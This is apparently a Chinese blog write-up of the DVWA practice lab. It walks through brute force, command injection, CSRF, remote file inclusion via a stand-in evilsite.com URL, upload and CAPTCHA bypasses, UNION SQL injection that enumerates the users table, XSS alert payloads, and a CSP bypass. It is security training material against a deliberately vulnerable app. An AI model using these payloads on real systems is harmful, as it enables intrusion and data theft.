DVWA通关

安装DVWA

解压后找到php.ini文件,检查以下两项是否为on

allow_url_fopen = on
allow_url_include = on

打开config文件夹,将“config.inc.php.list”文件改为:“config.inc.php”,修改user和password为数据库用户名和密码

$_DVWA[ 'recaptcha_public_key' ]  = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

用phpstudy建立网站

打开网站

用户名:admin

密码:password

1.Brute Force

源码分析:

获取用户名、密码

使用 MD5 算法对密码进行哈希处理

构建一个 SQL 查询,用于从 "users" 表中检索与提供的用户名和密码匹配的记录

执行 SQL 查询。如果查询失败,将输出错误

检查查询是否成功,并且只返回一个结果

获取用户的头像 URL

如果登录成功,向 $html 变量添加一条欢迎消息

如果查询没有,登录失败

最后,关闭数据库连接。

解法:

开启代理,打开burpsuite工具,点击login并拦截包

发送到intruder

导入字典

所以用户名admin,密码password

2.Command Injection

源码分析:

连接数据库

一个表单,允许用户输入一个IP地址并“Ping”它

解法:

输入本机的ip地址

显示乱码

在dvwa根目录里找到dvwaPage.inc.php

打开文件,将utf-8改为GB2312

保存后重新输入127.0.0.1

发现乱码可以正确显示

用“|”符号作为连接符让计算机做出除ping以外的操作实现命令注入

输入127.0.0.1 | dir

成功执行命令

3.CSRF

要求输入新密码和确认密码,所以这个功能是修改原密码

源码分析:

 password_new 和 password_conf 参数,是用户输入的新密码和确认密码。

如果新密码和确认密码相同,代码将继续执行密码更改操作。

使用 mysqli_real_escape_string 函数对 $pass_new 进行转义,以防止 SQL 注入。

用 MD5 哈希算法对新密码进行哈希处理。

构造一个 SQL UPDATE 语句,用于将用户密码更新为新密码。

用 mysqli_query 函数执行 SQL 语句。如果执行失败,将输出错误信息。

如果密码成功更改,将向用户显示“Password Changed.”的消息。

如果密码不匹配,将显示“Passwords did not match.”的消息。

关闭数据库连接

解法:

按要求输入后

如果输入的密码不同,则会显示

观察发现,网址栏会显示出新密码和确认密码

尝试只在url栏输入命令

示例:

新密码为123456

确认密码为password

会出现和在框内输入相同的反馈

通过新建标签页可以直接跳转

4.file inclusion

源码:

在目录中发现了四个文件

在网页中只发现三个文件

所以要想办法打开file4.php

依次打开三个文件

可以看到url栏里命令

将文件名改为file4.php

根据help在url栏中输入

http://dvwa/vulnerabilities/fi/?page=http://www.evilsite.com/evil.php

5.File Upload

源码分析:

前端验证,与upload-lab第一关类似

解法:

禁用Javascript

6.Insecure CAPTCHA

分析源码:

要跳过验证码,则必须通过检查step==2

解法:

通过抓包

改包将step改为2

7.SQL injection

输入1'

报错

1' order by 1--+和1' order by 2--+正常

输入1' order by 3 -- +

 在url栏里输入?id=1' union select 1,2 -- + &Submit=Submit#

得显示位

输入?id=1' union select version(),database() -- + &Submit=Submit#

得版本和数据库信息

?id=1' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- + &Submit=Submit#

查询user表内字段

?id=1' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- + &Submit=Submit#

8.SQL Injection (Blind)

输入1时

输入一个大数字时

满足布尔盲注条件

查询版本

9.Weak Session IDs

源码分析:

这段 PHP 代码主要处理 HTTP POST 请求,并在会话中设置一个名为 last_session_id 的变量。如果此变量不存在,则初始化为 0,并在每次 POST 请求时递增。然后,这个 last_session_id 的值被设置为一个名为 "dvwaSession" 的 cookie。

 检查 HTTP 请求的方法是否为 "POST"。如果是,那么代码块内的逻辑将执行。

检查会话变量 last_session_id 是否已经设置。

如果 last_session_id 没有设置,那么它将被初始化为 0

$_SESSION['last_session_id']++;

将 last_session_id 的值递增。这意味着每次 POST 请求时,last_session_id 的值都会增加。

setcookie("dvwaSession", $cookie_value);

这行代码设置一个名为 "dvwaSession" 的 cookie,其值为 $cookie_value

每次当接收到一个 POST 请求时,这段代码都会增加 last_session_id 的值,并将其设置为一个名为 "dvwaSession" 的 cookie。

解法:

抓包

找到cookie

POST :dvwaSession=14; security=low; PHPSESSID=o4goium6auku82vkisi7c7hc7k

10.DOM Based Cross Site Scripting (XSS)

随便改语言,发现default是个传参点

输入<script>alert(1)</script>

11.Reflected Cross Site Scripting (XSS)

源码分析:

  1. 设置 HTTP 响应头 X-XSS-Protection 为 0
    header ("X-XSS-Protection: 0");
    这行代码禁用了大多数现代浏览器内置的跨站脚本(XSS)过滤器。

  2. 检查 GET 请求中是否存在名为 "name" 的参数:
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    这行代码检查 $_GET 超全局数组中是否存在名为 "name" 的键,并且其值不为 NULL。如果条件满足,代码会执行大括号内的逻辑。

  3. 输出用户提供的 "name" 参数:
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    如果 "name" 参数存在且不为 NULL,这行代码会将 "Hello " 字符串和用户提供的 "name" 参数值拼接起来,并通过 <pre> 标签格式化输出。这里直接输出了用户提供的输入,而没有进行任何形式的验证或转义,这可能导致跨站脚本(XSS)攻击。

没有防御

输入<script>alert(123)</script>

12.Stored Cross Site Scripting (XSS)

源码分析:

  1. 检查提交:通过 isset($_POST['btnSign']) 检查是否有一个名为 btnSign 的 POST 请求,这通常是一个提交按钮。

  2. 获取输入:从 POST 请求中获取 mtxMessage(留言内容)和 txtName(用户名)的值,并使用 trim 函数去除首尾空白字符。

  3. 输入清理:使用 stripslashes 去除用户输入中的反斜杠,然后使用 mysqli_real_escape_string 转义特殊字符以防止 SQL 注入。这里使用了全局变量 $GLOBALS["___mysqli_ston"] 作为数据库连接对象

  4. 数据库插入:构建一个 SQL 插入语句,并使用 mysqli_query 执行该语句将数据插入到 guestbook 表中。如果查询失败,脚本将终止并输出错误信息。

输入<script>alert(1)</script>

13.Content Security Policy (CSP) Bypass

源码分析:

$headerCSP 变量存储了一个 CSP 策略字符串。CSP 是一个额外的安全层,用于检测和缓解某些类型的攻击,包括跨站脚本和数据注入攻击。

这个策略限制了哪些源可以执行 JavaScript 脚本。在这个例子中,CSP 策略允许从以下几个源加载和执行脚本:

  • pastebin.com
  • hastebin.com
  • www.toptal.com
  • example.com
  • code.jquery.com
  • https://ssl.google-analytics.com

header($headerCSP); 这行代码将这个 CSP 策略发送到 HTTP 响应头部,告知浏览器只有从这些指定的源加载的脚本才是安全的。

这段代码首先检查是否有一个名为 include 的 POST 请求参数。如果有,它会将这个参数的值(预期是一个 URL)作为一个 <script> 标签的 src 属性,动态地包含在页面上。这意味着,任何用户通过表单提交的 URL 都会被作为脚本加载到页面上。

接下来,代码创建了一个 HTML 表单。这个表单允许用户输入一个 URL,并有一个提交按钮。当用户点击提交按钮时,表单会发送一个 POST 请求到相同的页面(或处理该表单的 PHP 脚本),并且 include 参数将包含用户输入的 URL。

解法:

点击raw

复制链接;

https://pastebin.com/raw/2yha7JSq

14.JavaScript

源码:

根据提示输入success会出现invalid token

输入success抓包

change me 抓包

对比发现,token值相同

从源码中找到generate_token 部分:

function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }

    generate_token();
  • 首先,它使用rot13函数对phrase变量中的字符串进行ROT13加密。ROT13是一种简单的替换密码,其中每个字母在字母表中移动13个位置。例如,'A'会变成'N','B'会变成'O',依此类推。

  • 接着,它将ROT13加密后的结果传递给md5函数。md5是一种哈希算法,它接受一个字符串作为输入,并返回一个固定长度(通常是32个字符的十六进制数)的哈希值。这个哈希值是对原始输入的唯一表示,即使输入只有微小的变化,哈希值也会有显著的不同。

  • 最后,它将md5函数返回的哈希值设置到HTML文档中另一个元素的值中。这个元素的ID为"token"

在开发者工具中的控制台输入generate_token();并运行

点击submit

显示well done!

  • 20
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值